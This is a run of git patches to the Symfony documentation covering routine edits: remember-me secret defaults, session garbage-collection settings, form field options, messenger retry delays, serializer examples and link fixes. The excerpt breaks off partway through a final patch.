 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 4a8829a52d5..9e9a74b973b 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2248,11 +2248,11 @@ First, use a browser or HTTP client to perform the HTTP request(s) you want to
 test. Then, save that information as a ``.har`` file somewhere in your application::
 
     // ExternalArticleServiceTest.php
-    use PHPUnit\Framework\TestCase;
+    use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
     use Symfony\Component\HttpClient\MockHttpClient;
     use Symfony\Component\HttpClient\Response\MockResponse;
 
-    final class ExternalArticleServiceTest extends TestCase
+    final class ExternalArticleServiceTest extends KernelTestCase
     {
         public function testSubmitData(): void
         {

From da1caa21faf2b481d9d5c60932390c74629c86f1 Mon Sep 17 00:00:00 2001
From: Alessandro Podo <47177650+alessandro-podo@users.noreply.github.com>
Date: Tue, 26 Nov 2024 23:12:38 +0100
Subject: [PATCH 6521/7107] The wrong type is used for autowiring

---
 security/impersonating_user.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index f74528cfb89..8317b9c30bd 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -317,7 +317,7 @@ logic you want::
     {
         private $accessDecisionManager;
 
-        public function __construct(AccessDecisionManager $accessDecisionManager)
+        public function __construct(AccessDecisionManagerInterface $accessDecisionManager)
         {
             $this->accessDecisionManager = $accessDecisionManager;
         }

From 03b029b9f3d144573b16f94a56e51aa7666e1342 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 27 Nov 2024 06:36:46 +0100
Subject: [PATCH 6522/7107] minor cs fix for ci

---
 serializer/encoders.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/serializer/encoders.rst b/serializer/encoders.rst
index 003eb4523fe..e36d8731e48 100644
--- a/serializer/encoders.rst
+++ b/serializer/encoders.rst
@@ -65,6 +65,7 @@ are available to customize the behavior of the encoder:
 ``csv_end_of_line`` (default: ``\n``)
     Sets the character(s) used to mark the end of each line in the CSV file.
 ``csv_escape_char`` (default: empty string)
+
     .. deprecated:: 7.2
 
         The ``csv_escape_char`` option was deprecated in Symfony 7.2.

From d6d8bb8f5e60eb32ecf8d1ab13478715c8b4cdf5 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 26 Nov 2024 08:49:04 +0100
Subject: [PATCH 6523/7107] Add a note about updating phpdoc in a patch release

---
 contributing/code/maintenance.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index 04740ce8c6e..27e4fd73ea0 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -67,6 +67,9 @@ issue):
 * **Adding new deprecations**: After a version reaches stability, new
   deprecations cannot be added anymore.
 
+* **Adding or updating annotations**: Adding or updating annotations (PHPDoc
+  annotations for instance) is not allowed; fixing them might be accepted.
+
 Anything not explicitly listed above should be done on the next minor or major
 version instead. For instance, the following changes are never accepted in a
 patch version:

From e427a6cb7466dba166e17f446b0f5a210757c8b9 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 27 Nov 2024 06:18:03 +0100
Subject: [PATCH 6524/7107] [Security] Secret with remember me feature

---
 security/remember_me.rst | 25 ++++++++++---------------
 1 file changed, 10 insertions(+), 15 deletions(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 8fac6d78849..2fd0f7e8d1e 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -19,7 +19,7 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
                 main:
                     # ...
                     remember_me:
-                        secret:   '%kernel.secret%' # required
+                        secret: '%kernel.secret%'
                         lifetime: 604800 # 1 week in seconds
                         # by default, the feature is enabled by checking a
                         # checkbox in the login form (see below), uncomment the
@@ -44,7 +44,7 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
                 <firewall name="main">
                     <!-- ... -->
 
-                    <!-- secret: required
+                    <!-- secret: default to "%kernel.secret%"
                          lifetime: 604800 is 1 week in seconds -->
                     <remember-me
                         secret="%kernel.secret%"
@@ -67,7 +67,7 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%') // required
+                    ->secret('%kernel.secret%')
                     ->lifetime(604800) // 1 week in seconds
 
                     // by default, the feature is enabled by checking a
@@ -77,9 +77,11 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
             ;
         };
 
-The ``secret`` option is the only required option and it is used to sign
-the remember me cookie. It's common to use the ``kernel.secret`` parameter,
-which is defined using the ``APP_SECRET`` environment variable.
+.. versionadded:: 7.2
+
+    The ``secret`` option is no longer required starting from Symfony 7.2. By
+    default, ``%kernel.secret%`` is used, which is defined using the
+    ``APP_SECRET`` environment variable.
 
 After enabling the ``remember_me`` system in the configuration, there are a
 couple more things to do before remember me works correctly:
@@ -171,7 +173,6 @@ allow users to opt-out. In these cases, you can use the
                 main:
                     # ...
                     remember_me:
-                        secret: '%kernel.secret%'
                         # ...
                         always_remember_me: true
 
@@ -194,7 +195,6 @@ allow users to opt-out. In these cases, you can use the
                     <!-- ... -->
 
                     <remember-me
-                        secret="%kernel.secret%"
                         always-remember-me="true"
                     />
                 </firewall>
@@ -211,7 +211,6 @@ allow users to opt-out. In these cases, you can use the
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%')
                     // ...
                     ->alwaysRememberMe(true)
             ;
@@ -335,7 +334,6 @@ are fetched from the user object using the
                 main:
                     # ...
                     remember_me:
-                        secret: '%kernel.secret%'
                         # ...
                         signature_properties: ['password', 'updatedAt']
 
@@ -357,7 +355,7 @@ are fetched from the user object using the
                 <firewall name="main">
                     <!-- ... -->
 
-                    <remember-me secret="%kernel.secret%">
+                    <remember-me>
                         <signature-property>password</signature-property>
                         <signature-property>updatedAt</signature-property>
                     </remember-me>
@@ -375,7 +373,6 @@ are fetched from the user object using the
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%')
                     // ...
                     ->signatureProperties(['password', 'updatedAt'])
             ;
@@ -419,7 +416,6 @@ You can enable the doctrine token provider using the ``doctrine`` setting:
                 main:
                     # ...
                     remember_me:
-                        secret: '%kernel.secret%'
                         # ...
                         token_provider:
                             doctrine: true
@@ -442,7 +438,7 @@ You can enable the doctrine token provider using the ``doctrine`` setting:
                 <firewall name="main">
                     <!-- ... -->
 
-                    <remember-me secret="%kernel.secret%">
+                    <remember-me>
                         <token-provider doctrine="true"/>
                     </remember-me>
                 </firewall>
@@ -459,7 +455,6 @@ You can enable the doctrine token provider using the ``doctrine`` setting:
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%')
                     // ...
                     ->tokenProvider([
                         'doctrine' => true,

From 0b5820fa2a488d35fa62824e01545ce506e7f9bc Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 27 Nov 2024 12:02:26 +0100
Subject: [PATCH 6525/7107] Rename variable to stay consistent

---
 routing.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/routing.rst b/routing.rst
index 4b4f4f9e871..9828835e7c7 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2671,11 +2671,11 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
 
     class SomeService
     {
-        private $router;
+        private $urlGenerator;
 
-        public function __construct(UrlGeneratorInterface $router)
+        public function __construct(UrlGeneratorInterface $urlGenerator)
         {
-            $this->router = $router;
+            $this->urlGenerator = $urlGenerator;
         }
 
         public function someMethod()
@@ -2683,20 +2683,20 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
             // ...
 
             // generate a URL with no route arguments
-            $signUpPage = $this->router->generate('sign_up');
+            $signUpPage = $this->urlGenerator->generate('sign_up');
 
             // generate a URL with route arguments
-            $userProfilePage = $this->router->generate('user_profile', [
+            $userProfilePage = $this->urlGenerator->generate('user_profile', [
                 'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
             // argument to generate different URLs (e.g. an "absolute URL")
-            $signUpPage = $this->router->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL);
+            $signUpPage = $this->urlGenerator->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL);
 
             // when a route is localized, Symfony uses by default the current request locale
             // pass a different '_locale' value if you want to set the locale explicitly
-            $signUpPageInDutch = $this->router->generate('sign_up', ['_locale' => 'nl']);
+            $signUpPageInDutch = $this->urlGenerator->generate('sign_up', ['_locale' => 'nl']);
         }
     }
 

From f6a61f9d36d407c591227b1709e04f313e7fcf34 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 30 Nov 2024 16:39:05 +0100
Subject: [PATCH 6526/7107] Fix minor syntax issues

---
 configuration.rst                             |  2 +-
 messenger.rst                                 |  2 +-
 reference/attributes.rst                      |  2 +-
 reference/configuration/framework.rst         |  2 -
 reference/constraints/Callback.rst            |  6 +-
 reference/constraints/_payload-option.rst.inc |  2 -
 reference/dic_tags.rst                        |  2 +-
 service_container/service_decoration.rst      | 74 +++++++++----------
 8 files changed, 45 insertions(+), 47 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 2a5303741c1..3ddcf453dd7 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -391,7 +391,7 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file).
 
     By convention, parameters whose names start with a dot ``.`` (for example,
     ``.mailer.transport``), are available only during the container compilation.
-    They are useful when working with :ref:`Compiler Passes </service_container/compiler_passes>`
+    They are useful when working with :doc:`Compiler Passes </service_container/compiler_passes>`
     to declare some temporary parameters that won't be available later in the application.
 
 .. versionadded:: 6.3
diff --git a/messenger.rst b/messenger.rst
index e61a13e1c86..87102811316 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -919,7 +919,7 @@ Rate Limited Transport
     The ``rate_limiter`` option was introduced in Symfony 6.2.
 
 Sometimes you might need to rate limit your message worker. You can configure a
-rate limiter on a transport (requires the :doc:`RateLimiter component </rate-limiter>`)
+rate limiter on a transport (requires the :doc:`RateLimiter component </rate_limiter>`)
 by setting its ``rate_limiter`` option:
 
 .. configuration-block::
diff --git a/reference/attributes.rst b/reference/attributes.rst
index feadec70d3c..9ead60b3662 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -38,7 +38,7 @@ Dependency Injection
 * :ref:`Autowire <autowire-attribute>`
 * :ref:`AutowireCallable <autowiring_closures>`
 * :doc:`AutowireDecorated </service_container/service_decoration>`
-* :doc:`AutowireIterator <service-locator_autowire-iterator>`
+* :ref:`AutowireIterator <service-locator_autowire-iterator>`
 * :ref:`AutowireLocator <service-locator_autowire-locator>`
 * :ref:`AutowireServiceClosure <autowiring_closures>`
 * :ref:`Exclude <service-psr4-loader>`
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8e1f6af81fa..6d32065540c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -236,8 +236,6 @@ The **default value** is:
         $request = Request::createFromGlobals();
         // ...
 
-.. _configuration-framework-http_method_override:
-
 trust_x_sendfile_type_header
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 3424d47c9d3..a6944c241cf 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -271,14 +271,16 @@ callback method:
 * A closure.
 
 Concrete callbacks receive an :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as the first argument and the :ref:`payload option <reference-constraints-payload>`
+instance as the first argument and the :ref:`payload option <reference-constraints-callback-payload>`
 as the second argument.
 
 Static or closure callbacks receive the validated object as the first argument,
 the :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as the second argument and the :ref:`payload option <reference-constraints-payload>`
+instance as the second argument and the :ref:`payload option <reference-constraints-callback-payload>`
 as the third argument.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
+.. _reference-constraints-callback-payload:
+
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/_payload-option.rst.inc b/reference/constraints/_payload-option.rst.inc
index a76c9a4a29d..5121ba1ae51 100644
--- a/reference/constraints/_payload-option.rst.inc
+++ b/reference/constraints/_payload-option.rst.inc
@@ -1,5 +1,3 @@
-.. _reference-constraints-payload:
-
 ``payload``
 ~~~~~~~~~~~
 
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index cf908c4dd24..2ea62bc9def 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -335,7 +335,7 @@ controller.argument_value_resolver
 Value resolvers implement the
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface`
 and are used to resolve argument values for controllers as described here:
-:doc:`/controller/argument_value_resolver`.
+:doc:`/controller/value_resolver`.
 
 .. versionadded:: 6.2
 
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 0f75b5284c8..18bc5d4d85f 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -299,35 +299,35 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
 
 .. configuration-block::
 
-        .. code-block:: php-attributes
+    .. code-block:: php-attributes
 
-            // ...
-            use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
-            use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
 
-            #[AsDecorator(decorates: Foo::class, priority: 5)]
-            class Bar
-            {
-                public function __construct(
-                    #[AutowireDecorated]
-                    private $inner,
-                ) {
-                }
-                // ...
+        #[AsDecorator(decorates: Foo::class, priority: 5)]
+        class Bar
+        {
+            public function __construct(
+                #[AutowireDecorated]
+                private $inner,
+            ) {
             }
+            // ...
+        }
 
-            #[AsDecorator(decorates: Foo::class, priority: 1)]
-            class Baz
-            {
-                public function __construct(
-                    #[AutowireDecorated]
-                    private $inner,
-                ) {
-                }
-
-                // ...
+        #[AsDecorator(decorates: Foo::class, priority: 1)]
+        class Baz
+        {
+            public function __construct(
+                #[AutowireDecorated]
+                private $inner,
+            ) {
             }
 
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -619,24 +619,24 @@ Three different behaviors are available:
 
 .. configuration-block::
 
-        .. code-block:: php-attributes
-
-            // ...
-            use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
-            use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
-            use Symfony\Component\DependencyInjection\ContainerInterface;
+    .. code-block:: php-attributes
 
-            #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
-            class Bar
-            {
-                public function __construct(
-                    #[AutowireDecorated] private $inner,
-                ) {
-                }
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
+        use Symfony\Component\DependencyInjection\ContainerInterface;
 
-                // ...
+        #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
+        class Bar
+        {
+            public function __construct(
+                #[AutowireDecorated] private $inner,
+            ) {
             }
 
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml

From c71b9f93795d90f0ae377f17026173f1e1c949a5 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 2 Dec 2024 08:38:44 +0100
Subject: [PATCH 6527/7107] remove a gc_probability default mention

---
 session.rst | 17 +++++------------
 1 file changed, 5 insertions(+), 12 deletions(-)

diff --git a/session.rst b/session.rst
index 393cd24a898..aa4c3ba381f 100644
--- a/session.rst
+++ b/session.rst
@@ -494,18 +494,7 @@ deleted. This allows one to expire records based on idle time.
 
 However, some operating systems (e.g. Debian) do their own session handling and set
 the ``session.gc_probability`` variable to ``0`` to stop PHP doing garbage
-collection. That's why Symfony now overwrites this value to ``1``.
-
-If you wish to use the original value set in your ``php.ini``, add the following
-configuration:
-
-.. code-block:: yaml
-
-    # config/packages/framework.yaml
-    framework:
-        session:
-            # ...
-            gc_probability: null
+collection.
 
 You can configure these settings by passing ``gc_probability``, ``gc_divisor``
 and ``gc_maxlifetime`` in an array to the constructor of
@@ -513,6 +502,10 @@ and ``gc_maxlifetime`` in an array to the constructor of
 or to the :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions`
 method.
 
+.. versionadded:: 7.2
+
+    Starting from Symfony 7.2, ``php.ini``'s directive is used as default for ``gc_probability``.
+
 .. _session-database:
 
 Store Sessions in a Database

From 2083dc2eb14cc9b7d7213249d4d0437d36b997ce Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 2 Dec 2024 10:40:51 +0100
Subject: [PATCH 6528/7107] Allow integer for the calendar option of DateType

---
 reference/forms/types/date.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index e88e91d80dd..6b8d21a19bd 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -156,11 +156,12 @@ values for the year, month and day fields::
 ``calendar``
 ~~~~~~~~~~~~
 
-**type**: ``\IntlCalendar`` **default**: ``null``
+**type**: ``integer`` or ``\IntlCalendar`` **default**: ``null``
 
 The calendar to use for formatting and parsing the date. The value should be
-an instance of the :phpclass:`IntlCalendar` to use. By default, the Gregorian
-calendar with the application default locale is used.
+an ``integer`` from :phpclass:`IntlDateFormatter` calendar constants or an instance
+of the :phpclass:`IntlCalendar` to use. By default, the Gregorian calendar
+with the application default locale is used.
 
 .. versionadded:: 7.2
 

From 2ab38573bd17812d4875c4a6cb9872432a2e2fdc Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Fri, 29 Nov 2024 22:24:23 -0300
Subject: [PATCH 6529/7107] Fix reference to `vendor/` dir

---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 69c9993e603..699901ccd18 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -253,7 +253,7 @@ deprecations but:
 * forget to mark appropriate tests with the ``@group legacy`` annotations.
 
 By using ``SYMFONY_DEPRECATIONS_HELPER=max[self]=0``, deprecations that are
-triggered outside the ``vendors`` directory will be accounted for separately,
+triggered outside the ``vendor/`` directory will be accounted for separately,
 while deprecations triggered from a library inside it will not (unless you reach
 999999 of these), giving you the best of both worlds.
 

From 0b521e7dcd51f9a204a6cc26f42e1ad44b758732 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Fri, 29 Nov 2024 16:09:49 +0100
Subject: [PATCH 6530/7107] URLType: explain `null` value for
 `default_protocol`

---
 reference/forms/types/url.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index 5f97fcb89a4..a13f6e4567d 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -27,6 +27,8 @@ Field Options
 
 **type**: ``string`` **default**: ``http``
 
+Set the value as ``null`` to render the field as ``<input type="url"/>``.
+
 If a value is submitted that doesn't begin with some protocol (e.g. ``http://``,
 ``ftp://``, etc), this protocol will be prepended to the string when
 the data is submitted to the form.

From a798057e31c64066bc711660a77a3d84cc24119f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Dec 2024 15:51:05 +0100
Subject: [PATCH 6531/7107] Reword

---
 reference/forms/types/url.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index a13f6e4567d..cba961aa8b7 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -27,7 +27,12 @@ Field Options
 
 **type**: ``string`` **default**: ``http``
 
-Set the value as ``null`` to render the field as ``<input type="url"/>``.
+Set this value to ``null`` to render the field using a ``<input type="url"/>``,
+allowing the browser to perform local validation before submission.
+
+When this value is neither ``null`` nor an empty string, the form field is
+rendered using a ``<input type="text"/>``. This ensures users can submit the
+form field without specifying the protocol.
 
 If a value is submitted that doesn't begin with some protocol (e.g. ``http://``,
 ``ftp://``, etc), this protocol will be prepended to the string when

From a0f7fab6e75ac4b76e21f5f412132f1bebed375a Mon Sep 17 00:00:00 2001
From: Morf <1416936+m0rff@users.noreply.github.com>
Date: Mon, 2 Dec 2024 16:10:23 +0100
Subject: [PATCH 6532/7107] fix: Update micro_kernel_trait.rst

---
 configuration/micro_kernel_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index c9739679f69..62e8c2d4128 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -16,7 +16,7 @@ via Composer:
 
 .. code-block:: terminal
 
-    $ composer symfony/framework-bundle symfony/runtime
+    $ composer require symfony/framework-bundle symfony/runtime
 
 Next, create an ``index.php`` file that defines the kernel class and runs it:
 

From 646e1995c71abf8b84e75c51cc355b1cc5e258b4 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 2 Dec 2024 10:13:27 +0100
Subject: [PATCH 6533/7107] [Messenger] Document `getRetryDelay()`

---
 messenger.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 74f7d792436..aa46ef9b1d3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1134,6 +1134,13 @@ and must be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableMessageHandlingException`,
 the message will always be retried infinitely and ``max_retries`` setting will be ignored.
 
+If you want to override retry delay form the retry strategy. You can achieve this
+using by providing it in the exception, using the ``getRetryDelay()`` method from :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableExceptionInterface`.
+
+.. versionadded:: 7.2
+
+    The method ``getRetryDelay()`` was introduced in Symfony 7.2.
+
 .. _messenger-failure-transport:
 
 Saving & Retrying Failed Messages

From f99ae716aeb01cc279f4def8386f4d4fa7d7c190 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Dec 2024 16:21:58 +0100
Subject: [PATCH 6534/7107] Reword

---
 messenger.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 35db17a75b3..053ccfd172e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1134,12 +1134,14 @@ and must be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableMessageHandlingException`,
 the message will always be retried infinitely and ``max_retries`` setting will be ignored.
 
-If you want to override retry delay form the retry strategy. You can achieve this
-using by providing it in the exception, using the ``getRetryDelay()`` method from :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableExceptionInterface`.
+You can define a custom retry delay (e.g., to use the value from the ``Retry-After``
+header in an HTTP response) by setting the ``retryDelay`` argument in the
+constructor of the ``RecoverableMessageHandlingException``.
 
 .. versionadded:: 7.2
 
-    The method ``getRetryDelay()`` was introduced in Symfony 7.2.
+    The ``retryDelay`` argument and the ``getRetryDelay()`` method were introduced
+    in Symfony 7.2.
 
 .. _messenger-failure-transport:
 

From 977be3230885146769f8304e9aa0a578b4cc372e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Dec 2024 16:34:09 +0100
Subject: [PATCH 6535/7107] Reword

---
 session.rst | 23 +++++++++++++++++------
 1 file changed, 17 insertions(+), 6 deletions(-)

diff --git a/session.rst b/session.rst
index aa4c3ba381f..e3f2246b6f6 100644
--- a/session.rst
+++ b/session.rst
@@ -492,19 +492,30 @@ the ``php.ini`` directive ``session.gc_maxlifetime``. The meaning in this contex
 that any stored session that was saved more than ``gc_maxlifetime`` ago should be
 deleted. This allows one to expire records based on idle time.
 
-However, some operating systems (e.g. Debian) do their own session handling and set
-the ``session.gc_probability`` variable to ``0`` to stop PHP doing garbage
-collection.
+However, some operating systems (e.g. Debian) manage session handling differently
+and set the ``session.gc_probability`` variable to ``0`` to prevent PHP from performing
+garbage collection. By default, Symfony uses the value of the ``gc_probability``
+directive set in the ``php.ini`` file. If you can't modify this PHP setting, you
+can configure it directly in Symfony:
 
-You can configure these settings by passing ``gc_probability``, ``gc_divisor``
-and ``gc_maxlifetime`` in an array to the constructor of
+.. code-block:: yaml
+
+    # config/packages/framework.yaml
+    framework:
+        session:
+            # ...
+            gc_probability: 1
+
+Alternatively, you can configure these settings by passing ``gc_probability``,
+``gc_divisor`` and ``gc_maxlifetime`` in an array to the constructor of
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`
 or to the :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions`
 method.
 
 .. versionadded:: 7.2
 
-    Starting from Symfony 7.2, ``php.ini``'s directive is used as default for ``gc_probability``.
+    Using the ``php.ini`` directive as the default value for ``gc_probability``
+    was introduced in Symfony 7.2.
 
 .. _session-database:
 

From 00a781fdd643e516a6f196e84e765716e5a99e44 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 2 Dec 2024 17:25:05 +0100
Subject: [PATCH 6536/7107] Update mailer.rst: Changing order of tips

Page: https://symfony.com/doc/current/mailer.html#email-addresses

Reason: Bring the 2 IDN-related tips together.
---
 mailer.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 8ff13c2561a..9cfba6c1a71 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -560,17 +560,17 @@ both strings or address objects::
         // ...
     ;
 
-.. versionadded:: 7.2
-
-    Support for non-ASCII email addresses (e.g. ``jânë.dœ@ëxãmplę.com``)
-    was introduced in Symfony 7.2.
-
 .. tip::
 
     Instead of calling ``->from()`` *every* time you create a new email, you can
     :ref:`configure emails globally <mailer-configure-email-globally>` to set the
     same ``From`` email to all messages.
 
+.. versionadded:: 7.2
+
+    Support for non-ASCII email addresses (e.g. ``jânë.dœ@ëxãmplę.com``)
+    was introduced in Symfony 7.2.
+
 .. note::
 
     The local part of the address (what goes before the ``@``) can include UTF-8

From 290cfae212ebfa59444a775ab91cd63b2be87232 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 4 Dec 2024 00:06:54 +0100
Subject: [PATCH 6537/7107] [Serializer] Minor improvements

---
 serializer.rst          | 16 +++++++++++-----
 serializer/encoders.rst |  3 ++-
 2 files changed, 13 insertions(+), 6 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 4efdbf2dd45..80d0419bd9a 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -958,16 +958,22 @@ parameter::
     $jsonData = ...; // the serialized JSON data from the previous example
     $persons = $serializer->deserialize($JsonData, Person::class.'[]', 'json');
 
-For nested classes, you have to add a PHPDoc type to the property/setter::
+For nested classes, you have to add a PHPDoc type to the property, constructor or setter::
 
     // src/Model/UserGroup.php
     namespace App\Model;
 
     class UserGroup
     {
-        private array $members;
+        /**
+         * @param Person[] $members
+         */
+        public function __construct(
+            private array $members,
+        ) {
+        }
 
-        // ...
+        // or if you're using a setter
 
         /**
          * @param Person[] $members
@@ -976,6 +982,8 @@ For nested classes, you have to add a PHPDoc type to the property/setter::
         {
             $this->members = $members;
         }
+
+        // ...
     }
 
 .. tip::
@@ -1357,8 +1365,6 @@ normalizers (in order of priority):
     During denormalization, it supports using the constructor as well as
     the discovered methods.
 
-:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`
-
 .. danger::
 
     Always make sure the ``DateTimeNormalizer`` is registered when
diff --git a/serializer/encoders.rst b/serializer/encoders.rst
index c8bddc604ba..37f4eee5a04 100644
--- a/serializer/encoders.rst
+++ b/serializer/encoders.rst
@@ -311,7 +311,8 @@ as a service in your app. If you're using the
 that's done automatically!
 
 If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure
-to register your class as a service and tag it with ``serializer.encoder``:
+to register your class as a service and tag it with
+:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`:
 
 .. configuration-block::
 

From 36326a92dfc13b91eabffd7144bf8f25519b6c7a Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 4 Dec 2024 10:24:01 +0100
Subject: [PATCH 6538/7107] fix broken links and syntax issues

---
 serializer.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 4efdbf2dd45..cb83f3b6696 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -290,9 +290,9 @@ The serializer, and its normalizers and encoders, are configured through
 the *serializer context*. This context can be configured in multiple
 places:
 
-* `Globally through the framework configuration <Configure a Default Context>`_
